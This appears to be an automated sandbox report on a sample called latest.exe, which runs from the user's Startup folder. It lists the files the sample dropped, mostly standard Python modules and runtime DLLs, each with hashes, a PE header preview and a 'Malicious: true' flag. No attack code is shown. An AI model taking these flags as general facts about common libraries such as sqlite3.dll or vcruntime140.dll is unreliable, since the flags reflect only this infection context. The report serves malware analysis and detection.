File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	670720
Entropy (8bit):	6.031732543230407
Encrypted:	false
SSDEEP:	12288:NQB2xCzIWn6O6X0f3O+0kMFN8v4+arfopdLvt:NQQxHWn66f++0k2FWt
MD5:	A2CC25338A9BB825237EF1653511A36A
SHA1:	433DED40BAB01DED8758141045E3E6658D435685
SHA-256:	698B9B005243163C245BFA22357B383E107A1D21A8C420D2EF458662E410422F
SHA-512:	8D55D3F908E2407662E101238DACDBD84AE197E6E951618171DEEAC9CFB3F4CB12425212DBFD691A0B930DA43E1A344C5004DE7E89D3AEC47E9063A5312FA74B
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........`...3...3...3..\3...3...2...3...2...3...2...3...2...3...2...3U..2...3...2...3...3..3U..2..3U..2...3U..2...3Rich...3................PE..d...\|..d.........." ......................................................................`..........................................U...c..............l....@...z............... ......T...........................@...8............................................text............................... ..`.rdata...$.......&..................@..@.data....L..........................@....pdata...z...@...\|..................@..@.rsrc...l...........................@..@.reloc... ......."..................@..B........................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\onefile_4196_133789921279276538\pywintypes312.dll

Download File

Process:	C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\latest.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	134656
Entropy (8bit):	5.9953900911096785
Encrypted:	false
SSDEEP:	3072:Yuh2G0a2fYrFceQaVK756Y/r06trvoEKQAe7KL8KJKVKGajt4:Yuh2faiYrFceQaVfY/rxTBAe7KwKwVrE
MD5:	26D752C8896B324FFD12827A5E4B2808
SHA1:	447979FA03F78CB7210A4E4BA365085AB2F42C22
SHA-256:	BD33548DBDBB178873BE92901B282BAD9C6817E3EAC154CA50A666D5753FD7EC
SHA-512:	99C87AB9920E79A03169B29A2F838D568CA4D4056B54A67BC51CAF5C0FF5A4897ED02533BA504F884C6F983EBC400743E6AD52AC451821385B1E25C3B1EBCEE0
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......#.$g..wg..wg..wn.[wk..w5..vc..w..5wf..w5..vs..w5..vo..w5..vd..ws..vf..w...ve..ws..vl..wg..w...w...vj..w...vf..w...vf..wRichg..w........PE..d......d.........." ................L........................................P............`......................................... u..`B......,....0..l.......L............@..0...`Q..T............................Q..8............................................text............................... ..`.rdata..R...........................@..@.data....-.......(..................@....pdata..L...........................@..@.rsrc...l....0......................@..@.reloc..0....@......................@..B........................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\onefile_4196_133789921279276538\select.pyd

Download File

Process:	C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\latest.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	31000
Entropy (8bit):	6.556986708902353
Encrypted:	false
SSDEEP:	384:IyRVBC9t6Lhz64CHf2slDT90Y5IMQGCHQIYiSy1pCQFm/AM+o/8E9VF0Ny/r5n+/:LGyKHfx1H5IMQGY5YiSyv4AMxkEFNnq
MD5:	7C14C7BC02E47D5C8158383CB7E14124
SHA1:	5EE9E5968E7B5CE9E4C53A303DAC9FC8FAF98DF3
SHA-256:	00BD8BB6DEC8C291EC14C8DDFB2209D85F96DB02C7A3C39903803384FF3A65E5
SHA-512:	AF70CBDD882B923013CB47545633B1147CE45C547B8202D7555043CFA77C1DEEE8A51A2BC5F93DB4E3B9CBF7818F625CA8E3B367BFFC534E26D35F475351A77C
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........t..'..'..'..g'..'-..&..'-..&..'-..&..'-..&..'...&..'..'...'...&..'...&..'...&..'...'..'...&..'Rich..'................PE..d...`b.f.........." ...(.....2.......................................................o....`..........................................@..L...<A..x....p.......`.......J.../......L....3..T............................2..@............0...............................text............................... ..`.rdata.......0......................@..@.data...`....P.......8..............@....pdata.......`.......:..............@..@.rsrc........p.......>..............@..@.reloc..L............H..............@..B........................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\onefile_4196_133789921279276538\sqlite3.dll

Download File

Process:	C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\latest.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1541912
Entropy (8bit):	6.576517980395355
Encrypted:	false
SSDEEP:	24576:OU/QhAI889YyuQYZlm/8AgzMkf6G5MJ8NW/yKhh+ivz/LZ/Xm+5D3ovTDJl:HVyuQYZlm/8vP6G5MJ8NuF+IzDZ/XPoP
MD5:	F3592DA629E4F247598E232B2CBFBAC1
SHA1:	65429FBEC3F5545640F2CDA784DC7DCCA420EB3B
SHA-256:	054A7B736DE7AFBD447B07EE5E72DF2FEBCAA06758F7A028873771567E8735D3
SHA-512:	6FC24890A7BE1ED73F1EFDF2B7723C3A7DE5DDB36B87FF7B01949FC2B14813E7B7C8B8311ABEE2796A9A4EFFFEDFC1D2020FFA794E59004CA4FB6798B993190D
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........tB..,...,...,..m....,.D.-...,.D./...,.D.(...,.D.)...,..m-...,...-...,...$...,...,...,......,.......,.Rich..,.........PE..d....b.f.........." ...(.2...,.......1....................................................`..............................................#...&.......p...............X.../......X...0...T..............................@............P..X............................text....0.......2.................. ..`.rdata.......P.......6..............@..@.data...`M...@...D..................@....pdata...............`..............@..@.rsrc........p.......>..............@..@.reloc..X............H..............@..B........................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\onefile_4196_133789921279276538\unicodedata.pyd

Download File

Process:	C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\latest.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1138456
Entropy (8bit):	5.4620027688967845
Encrypted:	false
SSDEEP:	12288:arEHdcM6hbuCjJ43w9hIpCQvb0QN8MdIEQ+U2BNNmD+99FfcAIU:arEXDCjfk7bPNfv42BN6yzUAIU
MD5:	A8ED52A66731E78B89D3C6C6889C485D
SHA1:	781E5275695ACE4A5C3AD4F2874B5E375B521638
SHA-256:	BF669344D1B1C607D10304BE47D2A2FB572E043109181E2C5C1038485AF0C3D7
SHA-512:	1C131911F120A4287EBF596C52DE047309E3BE6D99BC18555BD309A27E057CC895A018376AA134DF1DC13569F47C97C1A6E8872ACEDFA06930BBF2B175AF9017
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......g...#.}.#.}.#.}...%.}..\|.!.}..~. .}..y.+.}..x...}.6-\|. .}.h.\|.!.}.#.\|.s.}.6-p.".}.6-}.".}.6-..".}.6-..".}.Rich#.}.........PE..d...`b.f.........." ...(.@..........0.......................................p.......)....`.........................................p...X............P.......@.......0.../...`......P^..T............................]..@............P..p............................text...!>.......@.................. ..`.rdata..\....P.......D..............@..@.data........ ......................@....pdata.......@......................@..@.rsrc........P.......$..............@..@.reloc.......`......................@..B................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\onefile_4196_133789921279276538\vcruntime140.dll

Download File

Process:	C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\latest.exe
File Type:	PE32+ executable (DLL) (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	119192
Entropy (8bit):	6.6016214745004635
Encrypted:	false
SSDEEP:	1536:+qvQ1Dj2DkX7OcujarvmdlYNABCmgrP4ddbkZIecbWcFML/UXzlghzdMFw84hzk:+qvQ1D2CreiABCmgYecbWVLUD6h+b4ho
MD5:	BE8DBE2DC77EBE7F88F910C61AEC691A
SHA1:	A19F08BB2B1C1DE5BB61DAF9F2304531321E0E40
SHA-256:	4D292623516F65C80482081E62D5DADB759DC16E851DE5DB24C3CBB57B87DB83
SHA-512:	0DA644472B374F1DA449A06623983D0477405B5229E386ACCADB154B43B8B083EE89F07C3F04D2C0C7501EAD99AD95AECAA5873FF34C5EEB833285B598D5A655
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........N.../c../c../c._]b./c..W.../c../b./c../c../c...`./c...g./c...f./c...c./c....../c...a./c.Rich./c.........................PE..d.....cW.........." ...&. ...d......................................................-.....`A.........................................e..4...4m...........................O...........N..p............................L..@............0...............................text...&........................... ..`fothk........ ...................... ..`.rdata..\C...0...D...$..............@..@.data...p............h..............@....pdata...............l..............@..@_RDATA...............x..............@..@.rsrc................z..............@..@.reloc...............~..............@..B................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\onefile_4196_133789921279276538\vcruntime140_1.dll

Download File

Process:	C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\latest.exe
File Type:	PE32+ executable (DLL) (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	49528
Entropy (8bit):	6.662491747506177
Encrypted:	false
SSDEEP:	768:wPIyGVrxmKqOnA4j3z6Su77A+i0QLxi9z9Rtii9zn+:fBr87uW1nA8QLx+zrti+zn+
MD5:	F8DFA78045620CF8A732E67D1B1EB53D
SHA1:	FF9A604D8C99405BFDBBF4295825D3FCBC792704
SHA-256:	A113F192195F245F17389E6ECBED8005990BCB2476DDAD33F7C4C6C86327AFE5
SHA-512:	BA7F8B7AB0DEB7A7113124C28092B543E216CA08D1CF158D9F40A326FB69F4A2511A41A59EA8482A10C9EC4EC8AC69B70DFE9CA65E525097D93B819D498DA371
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......9@.W}!..}!..}!...S...!..{....!..tYJ.v!..}!..N!..{...x!..{...z!..{...f!..{...\|!..{.&.\|!..{...\|!..Rich}!..................PE..d.....v..........." ...&.<...8.......B...................................................`A........................................Pm.......m..x....................r..xO......D....c..p...........................`b..@............P..`............................text...p:.......<.................. ..`.rdata...#...P...$...@..............@..@.data................d..............@....pdata...............f..............@..@.rsrc................l..............@..@.reloc..D............p..............@..B........................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\onefile_4196_133789921279276538\win32gui.pyd

Download File

Process:	C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\latest.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	217088
Entropy (8bit):	5.933475371060306
Encrypted:	false
SSDEEP:	3072:tWLvun+3wdpugco/89ClzK0UPI7Txi9jv19DkRHzM2HOlomD:ALWn+gdpugcok9C9OPI7gGzM+N
MD5:	4EE5CFB68E56A5BA61248AE92C60E8C0
SHA1:	50F064A2CB91284130F99637D2756AC07AF85B01
SHA-256:	E3698280FF0C7769C1CDACF302688735CF4AB632989E1312D2A45747E79F5DF2
SHA-512:	B173C595A8F7D66000AE5BF88ABC7D411A5AF01C5AC2EF73A162199F2F77404654A7F08A9E3E2F3319F5002459CBCB953311641AF525F627E077EBEB7240DC4F
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........{e..............b.......o.......o.......o.......o......fo.......q..........k...fo......fo......fo......Rich............PE..d... ..d.........." .........r...... .....................................................`............................................d...T........`..\.... ..h:...........p.......L..T............................M..8............................................text............................... ..`.rdata..............................@..@.data...p?.......:..................@....pdata..h:... ...<..................@..@.rsrc...\....`.......D..............@..@.reloc.......p.......H..............@..B........................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\onefile_4196_133789921279276538\win32process.pyd

Download File

Process:	C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\latest.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	53248
Entropy (8bit):	5.669827196110115
Encrypted:	false
SSDEEP:	768:W00BG7eFeMpMIO4gbRqnnuf0yY0EWdrKmt90y2I/r:W0g4eFe9IO4gbRnxY0EKrKmAyvr
MD5:	E3AD93E6EF7B66887B2055B0951847D5
SHA1:	68EE4247077229EF117AC9B639EE12BF5FD6364B
SHA-256:	681875CDC970134C36F178B57B26CF279E72E2A80BC9F31A2F7740F2D6834B5D
SHA-512:	F0C0CF1B75CE6E9EC8AF50433FD35C1CCBB497654FEF4606916AC430B438E51A1DD3D94B847F13D7DAD85EA2A93813C0A1FC33808AF0C1CCF621C87D25725E0F
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........YI..8'E.8'E.8'E.@.E.8'E.M&D.8'E.M"D.8'E.M#D.8'E.M$D.8'EZM&D.8'E.S&D.8'E.8&E.8'EZM.D.8'EZM'D.8'EZM%D.8'ERich.8'E........................PE..d......d.........." .....l...`......he....................................... ............`.........................................P...X...............l.......................L...(...T...............................8............................................text...rk.......l.................. ..`.rdata...B.......D...p..............@..@.data...............................@....pdata..............................@..@.rsrc...l...........................@..@.reloc..L...........................@..B........................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\onefile_4196_133789921279276538\yaml\_yaml.pyd

Download File

Process:	C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\latest.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	263680
Entropy (8bit):	6.181649262977034
Encrypted:	false
SSDEEP:	3072:gtbMq1F0mru+f0IUph92JI0KwcC3t8KGNiTHvev2gc4VUXZcp3:gtbAwCphwu0KwcEt8NQTvC2Bzc
MD5:	13912163DA75576B3571D84420599A14
SHA1:	1EA8DDC96B47D2480761F69CAAB01C929837BA7F
SHA-256:	071EDEFCB110C7B727775FC0F7F9C2969DD7EFB83EFCBC356A8000B5865BC169
SHA-512:	0BE612BA7DD5AA9929E9D0044F614DABC7DE0D02378A844B74890C32463FA5C02C960AABEA9ECE5DF472A0A7D5DEB4D79D5659031F07A5EA9414D17CDA08322B
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......................c)..........c)....c)....c)....c)...........c............................Rich....................PE..d......f.........." ...(.b...........d.......................................p............`.............................................\...,........P.......0...............`.........................................@...............x............................text...Xa.......b.................. ..`.rdata..Jp.......r...f..............@..@.data...0$..........................@....pdata.......0......................@..@.rsrc........P......................@..@.reloc.......`......................@..B........................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\onefile_4196_133789921279276538\zstandard\_cffi.pyd

Download File

Process:	C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\latest.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	650752
Entropy (8bit):	6.4079170700952455
Encrypted:	false
SSDEEP:	6144:sz5QLUL4lK9bQkMZ/jZMaBHX7vu3XSAU128zkpWCucchvkf8HpbUPAKjgCX3GRx:szb4lK9ckWBHXKSA584ENcyv6sUPAKg
MD5:	AFA2B9E9C7153750794ACFDF4BD0E416
SHA1:	19C521D35DCF6BC1546E11ECE12904043BE16FDB
SHA-256:	14DB1D573F7BA8F41563BBC7CDA6F1A46E5F86C1B7096D298593971A0B1C6C60
SHA-512:	38E2EC7F45C6AC7CBC0D5AB7CA94DDF47FC72067507D699FA32F42AA8A4187579724645E45042929140C832C83457011EF83914E397D6F8713A6E018B2823C6B
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......F...........1....r....I......r.....r.....r.....u......J..u.....u.....u]....u....Rich..........PE..d...j'.f.........." ...(.....\......P........................................0............`.........................................0...\........................3........... .......d..............................Pc..@...............@............................text...x........................... ..`.rdata..b...........................@..@.data...............................@....pdata...3.......4..................@..@.rsrc...............................@..@.reloc....... ......................@..B................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\onefile_4196_133789921279276538\zstandard\backend_c.pyd

Download File

Process:	C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\latest.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	520192
Entropy (8bit):	6.408474728658084
Encrypted:	false
SSDEEP:	12288:sL1TGmvt0Vwyow0k1rErgw25rXLzydh8K35sWGu:s5lvt0Vw9fk1rErV25rPY8K
MD5:	0FC69D380FADBD787403E03A1539A24A
SHA1:	77F067F6D50F1EC97DFED6FAE31A9B801632EF17
SHA-256:	641E0B0FA75764812FFF544C174F7C4838B57F6272EAAE246EB7C483A0A35AFC
SHA-512:	E63E200BAF817717BDCDE53AD664296A448123FFD055D477050B8C7EFCAB8E4403D525EA3C8181A609C00313F7B390EDBB754F0A9278232ADE7CFB685270AAF0
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......................k...........k.....k.....k.....l......T..l.....l.....ln....l....Rich..................PE..d...d'.f.........." ...(............ ........................................0............`......................................... ...d........................)........... ..d...0\...............................Z..@...............(............................text...H........................... ..`.rdata.............................@..@.data....-.......(..................@....pdata...).......*..................@..@.rsrc...............................@..@.reloc..d.... ......................@..B........................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\onefile_6152_133789921184562233\PIL\_imaging.pyd

Download File

Process:	C:\Users\user\Desktop\latest.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	2386432
Entropy (8bit):	6.458824340834286
Encrypted:	false
SSDEEP:	49152:aoPTrlqtAyK7DhgHpHtxqqmLrLrLrLK2QF81:7MK7Du1
MD5:	B88D368220A61DC02E2C9B9C9F3DBF86
SHA1:	2CE7549208C910D53D8566DD8F2C951F755FD98E
SHA-256:	0EA6C51C6700B9E7BDB45ED63201F974B4C6E5936BDEEED370C49B6DCD5821FD
SHA-512:	734C65496AB5F9E574E863667C5306EFB2C13151DAD35E9E93603CD06C4DC25CB4897BC3FF0141FAC7111E244B58AEF6766F376F8057935C4871B393CDF32B7B
Malicious:	true
Preview:	MZ......................@...................................(...........!..L.!This program cannot be run in DOS mode....$.......3@.5w!.fw!.fw!.f~Y.fg!.f8].gu!.f8]ufs!.f8].gy!.f8].g.!.f8].gs!.f.].gu!.f<Y.gp!.fw!.fs .f.].g.!.fw!.fl!.f.].g=!.f.].gv!.f.]wfv!.f.].gv!.fRichw!.f........................PE..d...x.'d.........." ...".0...h......L.........................................$...........`.........................................@.".`.....".......$.......#...............$.l.....!.......................!.(...`.!.@............@...............................text............0.................. ..`.rdata.......@.......4..............@..@.data.........#..^....#.............@....pdata........#......`#.............@..@.rsrc.........$......R$.............@..@.reloc..l.....$......T$.............@..B........................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\onefile_6152_133789921184562233\PIL\_imagingcms.pyd

Download File

Process:	C:\Users\user\Desktop\latest.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	256512
Entropy (8bit):	6.2744632895698755
Encrypted:	false
SSDEEP:	6144:3GPp77fRSOs1HNY3AklPRI7Odh0wXLg9uP1+74/LgHmPr9qvZqhLanLTLzLfqeqg:3GB77pSn7vQh0wXLg9uP1+74/LgHmPrK
MD5:	54BFD1D6A3DEE85A103657DA98DF6562
SHA1:	062F9C020179846F2CFB85DD5CB7472C04B2823B
SHA-256:	B2820965631C4081BAC0BD5953A08F0BFA84AB057E6239A0AA719237FB6E316F
SHA-512:	421B11DBD31DF99E2C0F588335E5D114C10B650405DD9039AC765ADCC5308D4FB0271607B277D142DA94F79D988F4B97AFAFC1808B03402BB3E3883E403B66E3
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........rx..+..+..+..+...+.....+......+......+......+5....+......+..+...+4....+4....+4..+..+4..*..+Rich..+................PE..d...g.'d.........." ..."..... ......\........................................ ............`.........................................py..h....y..................\....................?..............................`>..@...............p............................text............................... ..`.rdata..N...........................@..@.data....>.......8...z..............@....pdata..\........0..................@..@.rsrc...............................@..@.reloc..............................@..B........................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\onefile_6152_133789921184562233\PIL\_webp.pyd

Download File

Process:	C:\Users\user\Desktop\latest.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	530432
Entropy (8bit):	6.579935315094317
Encrypted:	false
SSDEEP:	12288:/wfj8PoAtpyT3bT9IMSFLrLrLrLWzxyOjD9i5qWJTL:/1oAfegFLrLrLrLWzcs9eqWJ
MD5:	FC18D07212FA0FED8035EA1CE7472344
SHA1:	1B74D9880DEEBF28EC46FE5C60600A8912CB6459
SHA-256:	46CE0E78D47CE623DF967E0F52684BEA90AB3BE3AB551EC41AB858DFA7E34E6E
SHA-512:	9AD5436B5FE6730519D9980B701E4B2A11BCE9C1B0DD1E76D1B59553A59B9A44FE9C0FF2E4847978E3243B336E227F42CA34D57D750F4DEBDE1A5A9866A956DE
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......oM5.+,[.+,[.+,[."T..!,[.dPZ.),[.`TZ.),[.dP^.&,[.dP_.#,[.dPX./,[..PZ.(,[.+,Z.x,[..P_.},[..PS.,[..P[.,[..P..,[..PY.,[.Rich+,[.................PE..d...g.'d.........." ...".................................................................`.............................................\...<........p....... ...L...................V...............................U..@............................................text...x........................... ..`.rdata..$...........................@..@.data....2..........................@....pdata...L... ...N..................@..@.rsrc........p......................@..@.reloc..............................@..B................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\onefile_6152_133789921184562233\_asyncio.pyd

Download File

Process:	C:\Users\user\Desktop\latest.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	71448
Entropy (8bit):	6.280004093581335
Encrypted:	false
SSDEEP:	1536:5VrJQiOU7v3gWTgI9PBgT5NIMOn27SyBxEU:55JQiOU7/g8L9PBSNIMOn2CU
MD5:	90A38A8271379A371A2A4C580E9CD97D
SHA1:	3FDE48214FD606114D7DF72921CF66EF84BC04C5
SHA-256:	3B46FA8F966288EAD65465468C8E300B9179F5D7B39AA25D7231FF3702CA7887
SHA-512:	3BDE0B274F959D201F7820E3C01896C24E4909348C0BC748ADE68610A13A4D1E980C50DAB33466469CDD19EB90915B45593FAAB6C3609AE3F616951089DE1FDC
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........7.Z.V...V...V...."..V..5...V..5...V..5...V..5...V......V.......V...V...V......V......V....N..V......V..Rich.V..........................PE..d...Qb.f.........." ...(.f................................................... ............`.............................................P......d......................../..............T...........................P...@...............(............................text....e.......f.................. ..`.rdata...O.......P...j..............@..@.data...p...........................@....pdata..............................@..@.rsrc...............................@..@.reloc..............................@..B................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\onefile_6152_133789921184562233\_brotli.pyd

Download File

Process:	C:\Users\user\Desktop\latest.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	821248
Entropy (8bit):	6.053537214093426
Encrypted:	false
SSDEEP:	12288:wA0uu7wLKRemz/MfQuZ3ekAHhly782XTw05nmZfRJ:wfTdkAFtAmZfRJ
MD5:	9AD5BB6F92EE2CFD29DDE8DD4DA99EB7
SHA1:	30A8309938C501B336FD3947DE46C03F1BB19DC8
SHA-256:	788ACBFD0EDD6CA3EF3E97A9487EEAEA86515642C71CB11BBCF25721E6573EC8
SHA-512:	A166ABCB834D6C9D6B25807ADDDD25775D81E2951E1BC3E9849D8AE868DEDF2E1EE1B6B4B288DDFBD88A63A6FA624E2D6090AA71DED9B90C2D8CBF2D9524FDBF
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......]ws..............n......j......Rn......j......j......j.......k..........$....k..9....k.......k.......k......Rich....................PE..d...7..d.........." ...#.B...H......\F....................................................`......................................... s..`....s.......................................I..............................PH..@............`...............................text....@.......B.................. ..`.rdata.......`.......F..............@..@.data................b..............@....pdata...............j..............@..@.rsrc...............................@..@.reloc..............................@..B........................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\onefile_6152_133789921184562233\_bz2.pyd

Download File

Process:	C:\Users\user\Desktop\latest.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	85272
Entropy (8bit):	6.591841805043941
Encrypted:	false
SSDEEP:	1536:Iyhz79151BVo1vXfzIFnaR4bO1As0n8qsjk+VIMCVl7SyVx7:/hzx15evXkuxAP8qMk+VIMCVlJ
MD5:	30F396F8411274F15AC85B14B7B3CD3D
SHA1:	D3921F39E193D89AA93C2677CBFB47BC1EDE949C
SHA-256:	CB15D6CC7268D3A0BD17D9D9CEC330A7C1768B1C911553045C73BC6920DE987F
SHA-512:	7D997EF18E2CBC5BCA20A4730129F69A6D19ABDDA0261B06AD28AD8A2BDDCDECB12E126DF9969539216F4F51467C0FE954E4776D842E7B373FE93A8246A5CA3F
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$....................b....(......(......(......(......(.....................................................Rich...........PE..d....b.f.........." ...(.....^...............................................`............`.........................................p...H............@.......0..D......../...P..........T...........................p...@............................................text...#........................... ..`.rdata..P>.......@..................@..@.data........ ......................@....pdata..D....0......................@..@.rsrc........@......................@..@.reloc.......P......................@..B........................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\onefile_6152_133789921184562233\_cffi_backend.pyd

Download File

Process:	C:\Users\user\Desktop\latest.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	179712
Entropy (8bit):	6.180800197956408
Encrypted:	false
SSDEEP:	3072:IULjhBCx8qImKrUltSfGzdMcbb9CF8OS7jkSTLkKWlgeml:IgCeqImzSfIMcNCvOkSTLLWWem
MD5:	FCB71CE882F99EC085D5875E1228BDC1
SHA1:	763D9AFA909C15FEA8E016D321F32856EC722094
SHA-256:	86F136553BA301C70E7BADA8416B77EB4A07F76CCB02F7D73C2999A38FA5FA5B
SHA-512:	4A0E98AB450453FD930EDC04F0F30976ABB9214B693DB4B6742D784247FB062C57FAFAFB51EB04B7B4230039AB3B07D2FFD3454D6E261811F34749F2E35F04D6
Malicious:	true
Preview:	MZ......................@................................... ...........!..L.!This program cannot be run in DOS mode....$.......a..#%p.p%p.p%p.p,..p)p.p5.q'p.p5.zp!p.p5.q!p.p5.q-p.p5.q)p.pn..q!p.p6.q&p.p%p.p.p.pm..q!p.p,..p$p.pm..q$p.pm.xp$p.pm..q$p.pRich%p.p........................PE..d...W..f.........." ...).....B......`........................................0............`..........................................h..l....i..................T............ .......O...............................M..@............................................text............................... ..`.rdata..............................@..@.data....].......0...p..............@....pdata..T...........................@..@.rsrc...............................@..@.reloc....... ......................@..B................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\onefile_6152_133789921184562233\_ctypes.pyd

Download File

Process:	C:\Users\user\Desktop\latest.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	125208
Entropy (8bit):	6.138659353006937
Encrypted:	false
SSDEEP:	3072:IXw32spTVYgFoj6N2xE9sb7V/f/E4ZBq5syCtYPU95IMLPhr:IgGEOgFoj68ksRf/ERsX
MD5:	5377AB365C86BBCDD998580A79BE28B4
SHA1:	B0A6342DF76C4DA5B1E28A036025E274BE322B35
SHA-256:	6C5F31BEF3FDBFF31BEAC0B1A477BE880DDA61346D859CF34CA93B9291594D93
SHA-512:	56F28D431093B9F08606D09B84A392DE7BA390E66B7DEF469B84A21BFC648B2DE3839B2EEE4FB846BBF8BB6BA505F9D720CCB6BB1A723E78E8E8B59AB940AC26
Malicious:	true
Preview:	MZ......................@................................... ...........!..L.!This program cannot be run in DOS mode....$.......f.d."..."..."...+...$....... .......&.......*...........7... ...i...#...i...$.......!..."......7...$...7...#...7...#...7...#...Rich"...........................PE..d...eb.f.........." ...(............`_..............................................-.....`.........................................p`.......`.........................../......t.......T...............................@............................................text............................... ..`.rdata..hl.......n..................@..@.data...,5.......0...j..............@....pdata..............................@..@.rsrc...............................@..@.reloc..t...........................@..B................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\onefile_6152_133789921184562233\_decimal.pyd

Download File

Process:	C:\Users\user\Desktop\latest.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	257304
Entropy (8bit):	6.565831509727426
Encrypted:	false
SSDEEP:	6144:/CxJS14bteS9B+ApcG0Qos0KR29py9qWM53pLW1AZHVHMhhhKoDStGwL0zsWD:/aeS9B+HQosbY9FfHVHXfEsWD
MD5:	7AE94F5A66986CBC1A2B3C65A8D617F3
SHA1:	28ABEFB1DF38514B9FFE562F82F8C77129CA3F7D
SHA-256:	DA8BB3D54BBBA20D8FA6C2FD0A4389AEC80AB6BD490B0ABEF5BD65097CBC0DA4
SHA-512:	FBB599270066C43B5D3A4E965FB2203B085686479AF157CD0BB0D29ED73248B6F6371C5158799F6D58B1F1199B82C01ABE418E609EA98C71C37BB40F3226D8C5
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........V..............'.....g&......g&......g&......g&.......!.................9....!.......!.......!.......!K......!......Rich............PE..d...[b.f.........." ...(.....<.......................................................4....`..........................................c..P....c...................&......./......T.......T...............................@............................................text...v........................... ..`.rdata..............................@..@.data...X*.......$...b..............@....pdata...&.......(..................@..@.rsrc...............................@..@.reloc..T...........................@..B........................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\onefile_6152_133789921184562233\_elementtree.pyd

Download File

Process:	C:\Users\user\Desktop\latest.exe
